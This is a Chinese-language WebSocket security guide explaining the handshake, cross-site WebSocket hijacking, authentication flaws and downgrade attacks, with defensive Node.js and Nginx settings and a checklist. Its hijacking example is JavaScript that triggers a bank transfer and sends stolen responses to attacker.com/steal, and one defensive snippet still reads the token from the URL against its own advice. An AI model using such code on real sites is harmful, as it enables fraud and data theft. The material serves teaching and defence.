WebSocket 安全完全指南

← 返回指南列表

WebSocket 安全完全指南

WebSocket 是全双工通信协议,广泛应用于实时应用。由于不受同源策略完全约束,常出现跨域 WebSocket 劫持、认证绕过等安全问题。

一、协议基础

1.1 握手过程

CODE
客户端 -> 服务器 (HTTP Upgrade):
  GET /ws HTTP/1.1
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Key: base64(16字节随机数)
  Sec-WebSocket-Version: 13
  Origin: https://example.com

服务器 -> 客户端 (101 Switching):
  HTTP/1.1 101 Switching Protocols
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Accept: base64(sha1(key + 固定GUID))

1.2 WebSocket 与 HTTP 对比

特性 HTTP WebSocket
连接模式 请求-响应 全双工
持久连接 短连接 长连接
同源策略 严格 部分(Origin)
跨域 CORS Origin 检查
数据格式 文本 文本/二进制

二、CSWSH 跨域 WebSocket 劫持

2.1 原理

用户登录 example.com 后访问恶意网站,恶意网站的 JavaScript 可创建 WebSocket 连接到 example.com。浏览器自动携带 Cookie,服务端认为是合法用户。

2.2 攻击示例

JAVASCRIPT
// 恶意网站 attacker.com
const ws = new WebSocket('wss://bank.example.com/transfer');

ws.onopen = () => {
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker',
        amount: 10000
    }));
};

ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    fetch('https://attacker.com/steal', {
        method: 'POST', body: JSON.stringify(data)
    });
};

三、认证绕过

3.1 常见缺陷

JAVASCRIPT
// 缺陷 1:仅在握手时验证
const ws = new WebSocket('wss://api.example.com/ws');
// 建立后不再验证消息

// 缺陷 2:Token 放在 URL
// ws://api.example.com/ws?token=abc123
// URL 可能被日志记录或 Referer 泄露

// 缺陷 3:无状态验证
// 只验证一次,后续消息不再验证

3.2 安全认证模式

JAVASCRIPT
// 消息级认证 - 每条消息都包含 Token
ws.onopen = () => {
    ws.send(JSON.stringify({ type: 'auth', token: 'eyJ...' }));
};

function sendMessage(data) {
    ws.send(JSON.stringify({
        ...data,
        token: getToken()  // 每次获取最新 token
    }));
}

// 服务端每条消息验证
ws.on('message', (msg) => {
    const data = JSON.parse(msg);
    if (!verifyToken(data.token)) {
        ws.close(4001, 'Invalid token');
        return;
    }
    processMessage(data);
});

四、消息劫持与篡改

4.1 降级攻击

JAVASCRIPT
// 攻击者将 wss:// 降级为 ws://
// 原始:const ws = new WebSocket('wss://api.example.com/ws');
// 篡改:const ws = new WebSocket('ws://api.example.com/ws');
// 未加密的连接可被中间人嗅探

4.2 消息注入防御

JAVASCRIPT
// 严格验证消息格式
ws.on('message', (msg) => {
    try {
        const data = JSON.parse(msg);
        if (!validateSchema(data)) {
            ws.close(4001, 'Invalid format');
            return;
        }
        processMessage(data);
    } catch (e) {
        ws.close(4001, 'Invalid JSON');
    }
});

五、安全配置

5.1 Node.js WebSocket 安全

JAVASCRIPT
const WebSocket = require('ws');
const wss = new WebSocket.Server({
    server,
    verifyClient: (info, cb) => {
        const origin = info.origin || info.req.headers.origin;
        // 验证 Origin
        if (origin && !['https://example.com'].includes(origin)) {
            cb(false, 403, 'Forbidden');
            return;
        }
        // 验证 Token
        const token = info.req.url.split('token=')[1];
        if (!verifyToken(token)) {
            cb(false, 401, 'Unauthorized');
            return;
        }
        cb(true);
    },
    maxPayload: 1024 * 1024  // 限制消息大小
});

// 速率限制
const rateLimiter = new Map();
wss.on('connection', (ws, req) => {
    const ip = req.socket.remoteAddress;
    ws.on('message', () => {
        const now = Date.now();
        if (now - (rateLimiter.get(ip) || 0) < 100) {
            ws.close(1008, 'Rate limited');
            return;
        }
        rateLimiter.set(ip, now);
    });
});

5.2 Nginx WebSocket 代理

NGINX
location /ws/ {
    proxy_pass http://ws_backend;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_read_timeout 3600s;
    proxy_set_header X-Real-IP $remote_addr;
}

六、安全检查清单

YAML
认证:
  - Token 不在 URL 中传输
  - 每条消息都验证身份
  - 消息级认证而非仅握手

传输安全:
  - 使用 wss:// (WSS over TLS)
  - 验证服务端证书
  - 禁止降级到 ws://

输入验证:
  - 验证消息格式 (Schema)
  - 限制消息大小
  - 防止注入攻击

速率限制:
  - 连接频率限制
  - 消息频率限制
  - 并发连接数限制

跨域保护:
  - 验证 Origin 头
  - Origin 白名单

七、总结

攻击类型 条件 防御
CSWSH 仅验证 Cookie 验证 Origin + 消息级 Token
认证绕过 Token 泄露 Token 在消息体内
降级攻击 同时支持 ws/wss 仅启用 wss
消息注入 未验证格式 Schema 验证
DoS 无速率限制 限制频率和并发数